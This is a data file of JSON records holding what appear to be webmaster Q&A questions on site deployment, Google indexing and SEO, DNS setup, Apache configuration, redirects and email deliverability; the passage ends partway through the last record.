{"id":"48497","title":"ASP.NET website deployment","text":"I am getting my hands wet with ASP and I have been following the tutorials. I deployed the site and in Azure and it worked great. Today I started actually designing the site. And when I published, it looks as if it doesn't read any of the files I just updated, added, and modified. It works on my `localhost`, but not in the Azure. I thought when you publish, everything goes up, including the new files. I don't have enough reputation to add a picture so, you'll forgive me. SO, basically, how do I get my _entire_ site uploaded? In case anyone does stop by, I was able to pull this out just recently: > CA0058 Error Running Code Analysis CA0058 : The referenced assembly > 'DotNetOpenAuth.AspNet, Version=4.0.0.0, Culture=neutral, > PublicKeyToken=2780ccd10d57b246' could not be found. This assembly is > required for analysis and was referenced by: C:\\Users\\lotusms\\Desktop\\LOTUS > MARKETING\\ASP.NET\\WebsiteManager\\WebsiteManager\\bin\\WebsiteManager.dll, > C:\\Users\\lotusms\\Desktop\\LOTUS > MARKETING\\ASP.NET\\WebsiteManager\\packages\\Microsoft.AspNet.WebPages.OAuth.2.0.20710.0\\lib\\net40\\Microsoft.Web.WebPages.OAuth.dll. > [Errors and Warnings] (Global) > > CA0001 Error Running Code Analysis CA0001 : The following error was > encountered while reading module 'Microsoft.Web.WebPages.OAuth': Assembly > reference cannot be resolved: DotNetOpenAuth.AspNet, Version=4.0.0.0, > Culture=neutral, PublicKeyToken=2780ccd10d57b246. [Errors and Warnings] > (Global) Could this have something to do with the problem?"}
{"id":"17958","title":"Is it possible to 'trigger' indexing on a site?","text":"We're launching a redeveloped site soon. Google has already indexed the site that we're going to replace, but the links that google indexed are no longer applicable, because the new site has a totally new routing scheme. We have new sitemaps for the new site. Is it possible to get google to re-index the new site, or do we have to wait until it gets around to it?"}
{"id":"48493","title":"Deciphering the Search Queries Report in GWMT","text":"For one of the sites that I am monitoring, the Search Queries report that Google Webmaster Tools provides looks like this -  Clearly, both the Impressions and Clicks have increased over the past two days. I am happy, but I am trying to find the reason for the increase, and the same table for this graph has me stumped.  What could be the reason for this?"}
{"id":"27441","title":"Why is there nobody talking about an alternative to HTML & CSS?","text":"HTML is such an old and cumbersome language, which was intended just to markup text. Today it's very rare to see a static HTML website, or a site with only text or a very simple layout. As a web developer I find it inconvenient to use HTML & CSS, very repetitive and cumbersome. I think that for a lot of website it could be simplified a lot. Tim Berners-Lee ( **W3** ) wrote a document named \"The World Wide Web: Past, Present and Future\" in August **1996** > ... though HTML will be considered part of the established infrastructure > (rather than an exciting new toy), there will always be new formats coming > along, **and it may be that a more powerful and perhaps a more consistent > set of formats will eventually displace HTML**. So, more than 15 years later, HTML is still here and it's here to stay. **Why?** Why searching for xml alternatives brings so much relevant result, but searching for html alternatives brings almost none relevant results? Answers like \"it's too hard to change a standard\" aren't answering the question since a lot of new standards emerged since the initiation of the web. I'm also not searching for answers that suggest using tools to simplify the process or formats that anyhow depends on HTML or CSS, technologies that currently require a plugin and not even trying to become an open standards (like Flash) aren't an answer neither. BTW, here are 2 articles written more than two years ago as food for thought, it might help with writing a better answers. \"HTML, CSS, and Web Development Practices: Past, Present, and Future\" describing a very related problem, by Jens O. Meiert. \"A Brief History of HTML\" by Scott Reynen, Here is a quote from the end: > So now you can answer questions about HTML5 without even looking at the > draft, which is handy, because the draft is 400+ pages long. Why is there a > new tag in HTML5? Because some browser vendor (maybe the one that also owns > a large video site) wanted it. Why are there so many scriptable interface > elements in HTML5? Because some browser vendor (maybe the one selling phones > without Flash support) wants them. Why is there no support for RDFa in > HTML5? Apparently no browser vendor wanted it. Is that the future?"}
{"id":"17952","title":"Effect of domain on SEO?","text":"I have a website for student submitted college ratings that focuses on the fun aspects of the colleges (how are the parties, social life, etc). I currently own 4 different domains and debating which one to use: funcampuses.com fun-colleges.com funcollegecampuses.com funcollegeratings.com I like the first one because its catchy and has no spaces, but campuses isn't really a keyword for me - colleges definitely is. Second one is good, but is the dash going to hurt me? funcolleges.com is unavailable.. The 3rd and 4th ones are simply long.. What do you guys think? Thanks!"}
{"id":"17957","title":"Sell Unused domains?","text":"I am streamlining my domains under one domain so getting rid of some. I have some about 5 years old domains with stable traffic. What should I do with such domains? Where can I sell them? I found an article here but I am unsure of its quality. It suggested GreatDomains -website and Afternic -website. I would also appreciate it how you usually determine the valuation of a domain."}
{"id":"17955","title":"Any Risk To Share Zone -file of a Website in Internet?","text":"I have problem with DNS settings and I cannot find any other way than share my settings. The Zone -file contains SOA record, A records, CNAME records, MX records and NS records. Is there any danger to share them unmodified?"}
{"id":"67523","title":"Crawl errors appearing in Google Webmaster Tools with suspicious URLs cached","text":"I am receiving Crawl Errors in my Google Webmaster Tools reports with some unique URLs that I am not understanding. For Example: `http:\/\/www.example.com\/portfolio\/?cat_url=custom-cms` This page opens my portfolio page, which the URL for is currently: `http:\/\/www.example.com\/portfolio\/` From where, and why are these URLs crawled by Google? I am also seeing a similar list of URLs that I have not created but am finding them in my crawl errors. Some pages that are listed here were old pages and they were totally removed from my database, but I don't know how Google found them. Last week I requested Google to remove these URLs from their cache and marked these errors as fixed. But various links have come back to the list of errors. Will this effect my SEO and Google ranking as well?"}
{"id":"59984","title":"Website typesetting. Font rendering consistency across browsers","text":"I know that font rendering across browsers is not the same. For specific reasons I need the same view of text (pixel by pixel) in every browser. One option is make text as a image. I have an idea about **typesetter** that has table with images of letters. And put one image by other (one letter by other). Is there something like this?"}
{"id":"54859","title":"Google shows \"search instead for\" when searching for our website","text":"Our website is new and the name is similar (only one letter different than another website) completely different type and company though. searching for xxxxxA works OK in Google and we find relatively good results. However searching xxxxxA.com finds results for the other website and gives us the following options: Showing results for xxxxxE.com Search instead for xxxxxA.com (hyperlink when clicked then it is correctly searching for our site) Questions: 1. Do we need to contact Google to correct this and if yes how ? if not will it be corrected automatically when the site becomes more popular and what is the process? 2. How do we make the process quicker?"}
{"id":"59983","title":"Do VPS hosts typically offer an option to take snapshots of the virtual machine (VM)?","text":"Is taking a snapshot of the virtual machine that a VPS runs on a standard feature provided by VPS hosts?"}
{"id":"66923","title":"\"All views associated with this account\" option in Google Analytics Custom Report only shows main site","text":"I have 10 sites in my Google Analytics account, and each site has their own Property Tracking ID. There's an option called \"All views associated with this account\" in the Views section in Custom Report (customization), which allows me to select all 10 of my sites. But the Line Chart and all info in this Overview only shows my main site. Is there something I missed, like a configuration?"}
{"id":"54790","title":"How to handle URLs that differ in case-sensitivity and show same content","text":"For to the following URLs: http:\/\/mydomain.com\/page http:\/\/mydomain.com\/Page I'm showing the same content. Can this hurt SEO? I understand that theoretically it can, but does Google really penalize such cases and categorize it as duplicate content? If so, would you advise on doing a 301\/302 redirect or adding a `rel=\"cannonical\"` to the lower case?"}
{"id":"5648","title":"ajax paging - duplicate content - seo","text":"assume you have a blog post... **domain.com\/blogid\/title** and then you have 500 comments on that post. your blog page shows your post and 10 comments, and then you page comments using ajax. I was thinking about having a link on the blog page with something like \"view all comments\" and its url would like **domain.com\/comments\/blogid** so that users with javascript turned off and googlebot and read all comments by visiting that page. but obviously, first 10 comments would be duplicated, and how does googlebot link the comments back to the original blog post? Basically, how should I do ajax paging so that it's SEO (googlebot) friendly"}
{"id":"59319","title":"Google's Index status falling down without any site changes","text":"I've a site but it wasn't touched since Sept 2013(not even comments). But in the curve I can see that Google's index has fallen down. **What could be the reason?** Though the site's traffic halted completely after Jan 2014. UPDATE: I've never purchased any links nor even built backlinks for this site. I simply left it partially unfinished. Absolutely no spam. It is about courses in colleges\/universities. "}
{"id":"47582","title":"Image SEO with overlaid text?","text":"I have a single image that I am using repeatedly with different text overlaid. If you hover over this image it will also give you a tooltip with more information. Of course, the text overlaid could also be put in the alt tag, and the longdesc tag could have all the information in the tooltip. Is this advisable, or will google penalize it for duplicate content or otherwise going overboard? For that matter, what about naming the file? Obviously if each of them has its own name they all have to be loaded as separate images, meaning load time will be increased; I assume that isn't worth it just for the benefit of a descriptive name?"}
{"id":"59186","title":"How can +2 websites benefit in a partnership aside from backlink exchange?","text":"Website owners with the same target but different services can help each other grow. Are there methods other than linking to each other that could produce SEO benefits?"}
{"id":"59182","title":"What is the difference between using dofollow and omitting rel?","text":"My main concern is whether dofollow is interpreted as more important than links without any `rel` attribute. Does it make any difference for search engines?"}
{"id":"29077","title":"Google Webmaster Tools is reporting crawl errors for links that don't exist","text":"In Google webmaster tools > diagnostics > crawl errors I'm seeing a bunch of errors that link to sub-pages like \/tour\/overview\/Scripts\/ForceDownload.asp The \/tour\/overview does exist, but this subfolder doesn't (and shouldn't - it's not even an ASP server). More bafflingly, the \"linked from\" pages listed do exist but do not have these links. I suspect some malware may be the cause but I've yet to find any trace of it."}
{"id":"29071","title":"Is there any jquery plugin for facebook like button in a lightbox","text":"I am trying to find a plug-in for showing like our web site on facebook message for new visitors of my web page.  Is there any jquery based plugins for that ?"}
{"id":"10","title":"prototype.js or jQuery for new projects?","text":"Should I use prototype.js or jQuery for a new project? Rails comes with prototype.js but jQuery seems the library of choice for the rest of the world. Is prototype.js still under active development? It seems a little bit dusty ..."}
{"id":"23215","title":"Image libraries sites to download pro images with no credits expiration policy","text":"I found professional image libraries sites like http:\/\/www.istockphoto.com or http:\/\/www.dreamstime.com are quite useful to add some cool images to a website either when filling its contents or when designing its graphic layout. Unfortunately both of the site I listed above use credits plans that expires after 12 months: you buy credits (using real bucks) and then you can download images, but if you don't use all the credits within 1 year, thay _suck_ them out from your virtual wallet (I think it's really unfair, but too bad for you, that's their policy). **Do you know about other good image libraries sites (from your real life experience) that use credits to download images, but thay don't expire after 12 months?** Obviously I won't ignore your suggestions about any other image libraries sites."}
{"id":"23742","title":"Google Webmaster Tools Errors 400 and 405","text":"What action does Google's crawler take for errors 400 and 405? Looks like few months ago I had a bug, and a few pages available only for signed in users were indexed by Google. Right now all these page appear in **crawl errors** with errors 400 and 405. The bug is fixed, but Google keeps crawling them and updating the Detected column. How do I stop Google crawling them? Should I send 404 or 410 instead? What is the documented action for 400 and 405?"}
{"id":"23212","title":"Do Facebook CPC ads charge per click, or per like, or both?","text":"I'm about to create a Facebook campaign that points to our Facebook fan page, with the CPC option. I want to know what counts as a \"click\". I already read the docs (quickly to be honest), but i didn't get the answer. Do they charge for the click which redirects to the fan page, or when the user clicks the like at the bottom of the ad, or both ?"}
{"id":"57389","title":"Can Google bots interpret hyphen separated words as a single keyword?","text":"I have a french website which frequently includes the word _rendez-vous_. But, Google Webmaster Tools content keywords tells me the #1 keyword is _rendez_ which is not what I want. Even worse, the word _vous_ is not even listed as a keyword (probably ignored). I do have the required meta (keywords\/description). I know the science of indexing is very complex, but is there something I can do so the content of my pages generate the proper keyword list? i.e. can a hyphen separated word become a single keyword. I believe (for now) I have 2 options: 1. Leave it like that :( 2. Modify my URL to include _rendez-vous_ to help the indexing"}
{"id":"27053","title":"wamp installed can't find localhost","text":"I installed a WAMP package on a Windows 7 machine and everything ( Apache, php, mySql, phpMyAdmin) appear to have installed correctly. However when I try to access localhost or phpMyAdmin via the browser, I get \"Server Not Found\". I've tried using localhost, 127.0.0.1 in the browser. I've checked the httpd file it says \"Listen 80\". C:\\Windows\\System32\\drivers\\etc\\hosts says \"127.0.0.1 localhost\" Apache log file doen't show any errors. Suggestions appreciated."}
{"id":"23870","title":"Difference between opencart and wordpress setup with wp e-commerce","text":"I am creating a site that only showcases catalogs of products. But I want to keep open the option of adding a shopping cart experience later. My usecase would be to create a site and then let the user themselves add or remove content from the site. Which of the above (opencart or wordpress with wp e-commerce plugin) is a better choice? Will opencart also allow the creation of some standard pages like about us, contact us page (with forms), etc?"}
{"id":"48807","title":"Create A record from the terminal","text":"I have contracted a linux VPS and a domain (www.myproject.com). After that, in the same site from my user area, I have registered a pair of DNS (ns1.myproject.com and ns2.myproject.com) associating them to the VPS's IP. Now I know I should add an A record, but.. could I do that from the terminal? or must I contract a control panel, for example Plesk? If I can do it from the terminal, **how can I do it?**"}
{"id":"48806","title":"Using Ajax #! for Google but site is not being crawled any more","text":"We used to have all links in a normal way (thus with parameters?), we changed to AJAX loading cause we installed a music player. Here's an example: * Old link: `http:\/\/stereofox.com\/post.php?idPost=5326` * New link: `http:\/\/stereofox.com\/post.php#!idPost=5326` The snapshot you can get it by `adding _escaped_fragment_=` after the `?`. All of these have the same content, and this image says what has happend to the site since we changed the linking system."}
{"id":"48808","title":"Setting up VPS: How to configure name servers","text":"So I got a VPS set up (LAMP) and have transfered a couple of sites over. Now I want to point my domain names from the old host to the new VPS host, which does not have any name servers yet. On my registrars console I have set the domain name 'www.mydomain.com' domain host settings to point to my VPS's ip address, eg: `ns1.mydomain.com = 111.222.3.4` and `ns2.mydomain.com = 111.222.3.4` I then lowered the TTL to one hour. I then switched the Nameservers on that domain to these new ones. (ns1\/2.mydomain.com) In WHM I then set the servers name servers to `ns1.mydomain.com` and `ns2.mydomain.com`. I waited an hour to test...but nothing changed - the domain name still directed to the old host. Have I missed something? Is the some other record I need to change on the DNS? I find this very confusing, does anyone know a resource or can provide a step by step guide on how to configure a new servers nameservers? Thanks EDIT: added image (sorry bout the censoring. Client insists) On my regisrars console:  And on my VPS' WHM: "}
{"id":"51785","title":"Best ways to collect transaction fee for sales transaction","text":"I'm having trouble finding a solution to what seems like a simple requirement. If I were to list items for sale on my website, is there any easy, seamless way to asses something like a 2.5% transaction fee from the user listing the item, while still allowing the seller to directly receive the money for the sale? (I don't want to receive the money and then have to pass it on to the seller) Do any services like Google or PayPal have any API where the referrer can make the commission fee in an automated manner? Say a user sets up a store on Google, I direct someone to that store and they make a purchase, can I get a commision? I see other sites (Etsy) will charge to seller according to whether someone clicked the Buy button on Etsy's site, after which the user is directed to PayPal, meaning Etsy \"assumes\" the user followed through with the purchase. I would want to avoid having to assume the user did the purchase, and make the commission based on actual sale. Actually, I personally feel advertising and marketing is a good revenue source, commission model isn't really the best, but I nevertheless need to look into the transaction fee model as an option."}
{"id":"51623","title":"Does every hosting company provide a redirect to their site at mysql.xyz.com?","text":"If `xyz` be the name of the website, does `mysql.xyz.com` always redirect to the webhost?"}
{"id":"12415","title":"Reverse pagination","text":"Quick question to speed my life up considerable Can you reverse engineer pagination, in other words instead of having to click through 20 pages of 10 results on each Is there any application that would allow me to see all the results on one page. Thanks again ."}
{"id":"30924","title":"Anyone heard of 'tank tracking'?","text":"Someone I know told me about some seriously cutting edge blackhat SEO that he called 'tank tracking'. He said that it is some sort of code (he believes written in Python) that 'sits' around the outside perimeter of your visible webpage and listens for an incoming search spider. when a spider enters the page, it traps it in this weird wormhole, making it loop through, I don't know, certain keywords or something.... the result is that a SE like google would consequently give the page a full 100 rating (this person told me Google bestows some sort of scoring app once you've passed a certain number of their exams). A quick google search on 'tank tracking seo', 'tank tracking blackhat seo' and 'tank tracking google' yielded zero results. Let me backtrack a bit and say that I am not interested in utilizing blackhat techniques. I'm just astonished that something like this might be out in the world. Anyone heard of this? **UPDATE** I have tried googling \"seo honeypot\" and \"search engine honeypot\" and \"search engine wormhole\" and I cannot find anything anywhere about this. Either the hacks who are doing this stuff aren't commenting about it at all online or it just doesn't exist in the way I was told it exists. I appreciate your helpful answers."}
{"id":"12417","title":"<body> and <div> issue","text":"I have this meticulous problem, 1. I have a test html page whose body content is a single div tag. 2. I made the width and height of the div tag to 100% and colored the background red. And I get irritated by the white space border around the div tag. So my questions are: 1. What is the white space border around that div element? 2. How do I manipulate it OR get rid of it?"}
{"id":"15376","title":"How to check if my site was penalized by Google?","text":"I suspect that my site is penalized by Google. Is there a way to check if it's true? EDIT: Webmaster Tools don't show any messages. Sometimes there are warnings about inaccessible (404, Soft 404s) pages on the site that come and go, and couple of warnings about duplicate page titles (in online documentation for my software), though."}
{"id":"7742","title":"Domain reg transfer - will my site go down at all?","text":"My website is hosted on my own server, however the domain is registered with fasthosts and I want to change to a different provider. Will i experience any downtime?"}
{"id":"50785","title":"Why can't I connect to a local website remotely?","text":"I set up a web server (for media wiki, specifically) on a computer with a few other functional web sites. I chose port `9191`. It works correctly from `localhost:9191`. When I attempt to view the site from another computer, it redirects me to localhost and cant find it, as if I'm trying to connect to a computer that doesn't exist. Any ideas? Any other error codes I can look for? I'm using Win-2008-R2\/IIS."}
{"id":"67804","title":"How to add a Google Map to search results?","text":"How can I get a business map location displayed along with the Google search results page?"}
{"id":"19493","title":"How do I map some subdirectories to run alongside a Drupal site?","text":"I have a Drupal site running on Apache using the following vhosts file: <VirtualHost xx.xx.xx.xx:80> ServerName bananas.net ServerAlias www.bananas.net DocumentRoot \/var\/www\/drupal\/ RewriteEngine On RewriteCond %{HTTP_HOST} !=bananas.net [NC] RewriteRule ^(.*)$ http:\/\/bananas.net$1 [L,R=301] <Directory \/var\/www\/bananas.net\/> Options -Indexes FollowSymlinks AllowOverride All Order allow,deny Allow from all <\/Directory> CustomLog ${APACHE_LOG_DIR}\/access.log combined ErrorLog ${APACHE_LOG_DIR}\/error.log <\/VirtualHost> I set it up some time ago, so I am not sure what the `<Directory \/var\/www\/bananas.net\/>` directive was meant for. That directory is currently empty. 1. With the vhosts file the way it is, does the Directory directive have any effect at all? 2. I want to add some content which is separate from the Drupal site. How do I add sub-directories within `\/var\/www\/bananas.net\/` which can be accessed alongside the Drupal site running at the root? As they have nothing to do with the Drupal site, I want to keep the files separate, but still using the same domain."}
{"id":"34714","title":"Referrer Strings","text":"I'm not exactly sure how to ask this, but here I go. I work for a company that provides IT services. Our main costumer has a website developed by WebCompany.com, and I act as a maintainer\/middle-man for this website for our customer. What's happening is that on the front page there is a drop-down-menu with links. One link goes to a third party website - ThirdParty.com. This third party website automatically logs you in based on your IP or your referrer string. Homepage > ThirdParty.com > Logged in via IP or referrer string. What's happening... is Website.com is passing along inconsistent referrer strings. I've asked them to look into it and they say it's not their fault, referrer strings are handled at the browser. ThirdParty.com is actually nice enough to have IP and referrer string listed on the front page for users not logged in. So... how can I trace the referrer string so that I can figure out why http:\/\/Website.com's front page link to ThirdParty.com is showing a referrer as \"None\" or \"Thirdparty.com\" instead of \"ThirdParty.com\"? Their website is build in PHP. Can you force all links on a website to list \"referrer\" as \"http:\/\/website.com\/\"? instead of \"http:\/\/website.com\/portal\/1\" or \"http:\/\/website.com\/page3\"?"}
{"id":"6727","title":"mp3 player extension for Joomla 1.0.x","text":"I am after any mp3 player extension for Joomla 1.0.x I am not a Joomla guy so it would be great if there is also any nice piece of documentation how to make it work. My friend's site is in Joomla 1.0.x and I cannot update to the latest Joomla version. Tried to google it but it's hard to find anything for 1.0 these days..."}
{"id":"6726","title":"Getting a .co.uk domain that is already registered","text":"There is a .co.uk name that I want (I've had the .com version for nearly 7 years now). I would even be prepared to pay a small amount for it, but on http:\/\/whois.domaintools.com\/ only a business name is shown (DOTCOMBIZ-AU) and an Australian address. There is no email address or telephone number. It is also interesting to note that \"Registrant type: Non-UK Individual\". I was under the impression that for a .co.uk you had to be UK based (which I and my business - if you could call it that - are). Also note that nothing is hosted on the domain, browsers simply return a page not found. Is there anything I can do to try and obtain this domain? Or is there at least any way to contact the owner? Thank you for your help. Jonathan"}
{"id":"59331","title":"Google is not showing the publisher. Added rel=publisher two months back","text":"I have added `rel=publisher` as: <link href=\"https:\/\/plus.google.com\/.....\" rel=\"publisher\" \/> Google plus page is working fine and showing it as validated. But after two months of time Google is not showing it in front of the brand name (when we search for the brand name)."}
{"id":"34719","title":"What's the relation between website's traffic and Google Adsense revenue?","text":"Are there some relations between the website's daily traffic and Google's Adsense revenue? In other word, Suppose the same Ad. will be published on two different websites, the first has average daily traffic 2000 visits while the other has only 100 visits. Does one click on that ad. on the first website will make revenue more than the second website? I've got misunderstand with Google documentation and I need to make a clear idea about this subject."}
{"id":"39063","title":"Website using different fonts across different browsers","text":"The navigation board items on my website at www.amsa.mn uses the wrong font when displayed with Firefox. The correct font is loaded when I access the website with Safari or Chrome. Is there any way to force Firefox to load the correct font?"}
{"id":"39062","title":"How to hide a piece of code from a wordpress web page?","text":"I installed a plugin called Sociable on my Wordpress website. It displays social media share icons below each blog post, but on my website it's also showing up in the footer. Like here http:\/\/amsa.mn\/%D0%B1%D0%BB%D0%BE%D0%B3 I've been trying to figure out how to remove it from the footer for quite a while, but can't figure it out. Can anyone help? Thanks!"}
{"id":"56001","title":"Receving an error when trying to access my site with Opera mini: \"could not locate remote server\"","text":"I always receive an error when I try to access my site via Opera mini on Android (version: 7.5 build: 33361): `could not locate remote server` I've used another browser on the same device and it can be opened without this error. My site is built on WordPress using the Bootstrap theme. I've tried switching to another theme and disabling plugins, but it still doesn't work. Is there something I can try to fix this?"}
{"id":"50162","title":"Breadcrumbs RDFA","text":"Have implemented Breadcrumb RDFA http:\/\/www.mycarhelpline.com\/index.php?option=com_forms&view=pages&layout=sellcar&Itemid=4 While checking the page , the RDFA Data shows property: title: Home https:\/\/www.google.com\/webmasters\/tools\/richsnippets?q=http%3A%2F%2Fwww.mycarhelpline.com%2Findex.php%3Foption%3Dcom_forms%26view%3Dpages%26layout%3Dsellcar%26Itemid%3D4 However, when i compare ours with others http:\/\/www.google.com\/webmasters\/tools\/richsnippets?q=http%3A%2F%2Froyalenfield.com%2Fmotorcycles%2Fthunderbird-500%2F The **Title and Description** of the current page is shown in every RDFA Data, which is not shown in ours If someone could suggest - how to get the page title and description show up in RDFA Data, below is our breadcrumb code <p><span class=\"breadcrumbs pathway\"> <span typeof=\"v:Breadcrumb\"> <a href=\"\" rel=\"v:url\" property=\"v:title\">Home<\/a> » <span rel=\"v:child\"> <span typeof=\"v:Breadcrumb\"> <a href=\"index.php?option=com_forms&view=pages&layout=selloldcarindelhi&Itemid=4\" rel=\"v:url\" property=\"v:title\">Sell Car<\/a> » <span rel=\"v:child\"> <span typeof=\"v:Breadcrumb\"> <a property=\"v:title\" >Sell Used Car<\/a> <\/span> <\/span> <\/span> <\/span> <\/span>"}
{"id":"50165","title":"To Fix HTTP 400-499 error codes with 301 redirects in .htaccess file","text":"This issue is on Wordpress site. I am aware we can change the URL naming convention in WP but i have changed my url format from date format to simple postname followed by slug as shown below. old style (www.domain.com\/2013\/02\/09\/ringdroid) new style (www.domain.com\/ringdroid) Google previously indexed my websites pages ( _sitemap.xml_ ) with below format: www.domain.com\/2013\/04\/18\/hottest-gadgets-of-2013-to-include-in-your-list www.domain.com\/2013\/02\/09\/ringdroid I have resubmitted the sitemap but there are still 404 errors in Google\/Bing engine. Could you please help me to write 301 redirects rule in _.htaccess_ file so when some clicks the URL for: www.domain.com\/2013\/02\/09\/ringdroid They should be redirected to: www.domain.com\/ringdroid How we can write rule in _.htaccess_ file to remove date part `2013\/02\/09\/`? I tried something like this (Googled it ), but didnt worked > RewriteEngine On RewriteBase \/ RewriteRule ^index.php$ - [L] RewriteCond > %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d"}
{"id":"9937","title":"How do we customise FB share function without affecting SEO?","text":"FB share currently pulls the page title tag and first body text by default. However our title tags are optimised for SEO and we want to customise what people see when the website is shared. I thought this might be a solution: <meta name=\"title\" content=\"title\" \/> <meta name=\"description\" content=\"description \" \/> <link rel=\"image_src\" href=\"thumbnail_image\" \/ > But have been told this will still conflict with the SEO? Can anyone help?"}
{"id":"16778","title":"Indexing pages from own search engine","text":"I would like to know what the best way is to have google index pages that visitors access through search on my website. These pages are accessible through a direct link like mywebsite.com\/CompanyId. Should i create index pages and list all of my content there so there is a direct link from my website to every page? Or is putting them in a sitemap enough? It's a yellow pages kind of website with company information."}
{"id":"55531","title":"How do I consolidate the amount of times my website is shown on Google to just my homepage?","text":"We have a website that is reasonably new. When you search for the three words that make up the URL of the website we come up as the first four or five hits on Google. We would like to consolidate these so that we only come up once, as our homepage. There are also specific product page of our website that some up before our homepage where we would like people to land on our homepage. Do you guys know of a way we can try to consolidate the returns for the other pages?"}
{"id":"7391","title":"How long before Google will update search terms matching my website?","text":"I have a website which title I changed about a month ago. The website is a classifieds website which is dynamic, using php. The title changed from \" **Free classifieds** \" to \" **buy and sell free classifieds** \". The strange part is that after about two weeks the title showed in google search results changed to the new title, BUT when I searched for \" **buy and sell free classifieds** \" my website didn't show up at all. I mean I have gone through over 30 pages of search results and my site isn't listed. However, searching for \" **free classifieds** \" still display my website at the same position it was before the title change. Any reason for this? How patient should I be? FYI the website has a sitemap submitted and updated, good meta tags and is W3 valid etc etc, so that is not the problem here. Thanks"}
{"id":"32716","title":"I'm using a vanity ccTLD, can I persuade Google to geotarget a different region?","text":"Because I'm still living like it's 2008, I run a website with a .in TLD. The website has nothing to do we India and does not target Indian users. Unfortunately, when I go to Google Webmaster Tools I see that Google have locked my geotargeting status to India:  On the help pages, Google state that: > Sites with country-coded top-level domains (such as .ie) are already > associated with a geographic region, in this case Ireland. In this case, you > won't be able to specify a geographic location. This seems implausibly inflexible, so I want to know if there are any sneaky ways of removing auto-geotargeting, or changing it to a more appropriate region?"}
{"id":"19270","title":"sitemap - following mvcsitemapprovider but categorization is confusing me","text":"I'm using mvcsitemapprovider for sitemap. http:\/\/mvcsitemap.codeplex.com\/ public class StoreDetailsDynamicNodeProvider : DynamicNodeProviderBase { MusicStoreEntities storeDB = new MusicStoreEntities(); public override IEnumerable<DynamicNode> GetDynamicNodeCollection() { \/\/ Build value var returnValue = new List<DynamicNode>(); \/\/ Create a node for each album foreach (var album in storeDB.Albums.Include(\"Genre\")) { DynamicNode node = new DynamicNode(); node.Title = album.Title; node.ParentKey = \"Genre_\" + album.Genre.Name; node.RouteValues.Add(\"id\", album.AlbumId); returnValue.Add(node); } \/\/ Return return returnValue; } } this is the code on their website for registering dynamic website nodes. How do I modify this to adapt to my website's categorization is confusing me. Here is the layout of my website: home->approved-> education entertainment business | | | kid, teenager, adult kid, teenager, adult kid, teenager, adult | | | and so on.. and so on.. and so on.. home->not approved-> education entertainment business | | | kid, teenager, adult kid, teenager, adult kid, teenager, adult | | | and so on.. and so on.. and so on.. and only after going through so many levels, the entries come up. what's confusing me is as you can see entries in my sitemap do not have one unique parent key. Even in the database, the way things are stored as is that each row of an entry in the database would know that it belongs to approved, entertainment, kid, etc... like below: Entry1 | approved | education | kid | levelx | levely | levelz ... how would one organize sitemap of something like that for sitemap? **Edit: I posted a similar question on stackoverflow, but I felt this may be more appropriate place.**"}
{"id":"22165","title":"Updating a web app without any downtime","text":"It's a PHP app. How can I minimize the downtime while updating the entire codebase?"}
{"id":"22161","title":"Temporarily share\/deploy a python (flask) application","text":"## Goal Temporarily (1 month?) deploy\/share a python (flask) web app without expensive\/complex hosting. ### More info I've developed a basic mobile web app for the non-profit I work for. It's written in python and uses flask as its framework. I'd like to share this with other employees and beta testers (<25 people). Ideally, I could get some sort of simple hosting space\/service and push regular updates to it while we test and iterate on this app. Think something along the lines of dropbox, which of course would not work for this purpose. We do have a website, and hosting services for it, but I'm concerned about using this resource as our website is mission critical and this app is very much pre-alpha at this point. ### Options I've researched \/ considered * Self host from local machine\/network (slow, unreliable) * Purchase hosting space (with limited non-profit resources, I'm concerned this is overkill) * Using our current web server \/ hosting (not appropriate for testing) Thanks very much for your time!"}
{"id":"12062","title":"Host a J2EE application on Tomcat externally","text":"I'm planning to deploy a Web application which I want to expose to all people on internet. I can buy a domain name, and redirect it to a public host which hosts my J2EE application. Whom should I choose for hosting my web app? What are my hosting options? I want good performance for better user experience. And price is definitely a concern."}
{"id":"39392","title":"How to disallow selection of text on website?","text":"I have a question about preventing the selection of content and right-clicking with your mouse on a website. Some websites that I have encountered display a dialog which prohibits right-clicking but the website in question does not show any dialog. To visually make it clear, here is the website in question: http:\/\/www.amandakjones.com\/homemade-creamy-garlic-dressing.php. Notice that you are not allowed to right-click, let alone select text. I would like to know how this is done."}
{"id":"6096","title":"How to explain visitors that we don't control Google's results?","text":"I have a message boards. Once in a while, some people contact us to remove anything related to them. We comply and delete all the posts and all traces. Some of those visitors still complain that they still appear on Google. What can I tell them? Is there a link on Google explaining the whole cache thing, how often they update, etc ... I'm looking for a canned answer that would shift the responsibility away from me."}
{"id":"68838","title":"Unexplained long Time To First Byte","text":"My wordpress blog is getting a grade F for TTFB on webpagetest.org: http:\/\/www.webpagetest.org\/result\/140905_20_PRX\/ with a TTFB of over 800ms. I cannot explain it. Indeed, I use a CloudFlare CDN, apc for PHP, Total Cache plugin, KeepAlive connection and I get a grade A on YSlow. Plus, CURL shows a much faster TTFB : sam@ubuntu:~$ curl -o \/dev\/null -w \"Connect: %{time_connect} TTFB: %{time_starttransfer} Total time: %{time_total} \\n\" http:\/\/mywebsite results: Connect: 0,063 TTFB: 0,137 Total time: 0,220 So, can I trust webpagetest.org ? It is supposed to be pretty reliable but I have doubts. Anyone experienced slow TTFB without knowing why ?"}
{"id":"45016","title":"Gmail is marking my emails as SPAM. However, ISnotSPAM marks it as not-spam","text":"I'm sending an email through my application code. The email gets into my Gmail spam folder. However, a test of the same email in ISnotSPAM is marked as non- spam. My application is using Sendgrid to send emails. Will appreciate some advice to avoid reaching the spam folder. Below is an example of ISnotSPAM report, marking the email as non-spam. The same email has reached my gmail's spam folder. ========================================================== Summary of Results ========================================================== SPF Check : pass Sender-ID Check : neutral DomainKeys Check : pass DKIM Check : pass SpamAssassin Check : ham (non-spam) ========================================================== Details: ========================================================== HELO hostname: mail-bk0-f48.google.com Source IP: 209.85.214.48 mail-from: olgaduboshin@gmail.com --------------------------------------------------------- SPF check details: ---------------------------------------------------------- Result: pass ID(s) verified: smtp.mail=myemail@gmail.com DNS record(s): gmail.com. 155 IN TXT \"v=spf1 redirect=_spf.google.com\" ---------------------------------------------------------- Sender-ID check details: ---------------------------------------------------------- Result: neutral ID(s) verified: smtp.mail=myemail@gmail.com DNS record(s): gmail.com. 155 IN TXT \"v=spf1 redirect=_spf.google.com\" ---------------------------------------------------------- DomainKeys check details: ---------------------------------------------------------- Result: pass ID(s) verified: header.From=myemail@gmail.com Selector= domain= DomainKeys DNS Record=._domainkey. ---------------------------------------------------------- DKIM check details: ---------------------------------------------------------- Result: pass ID(s) verified: 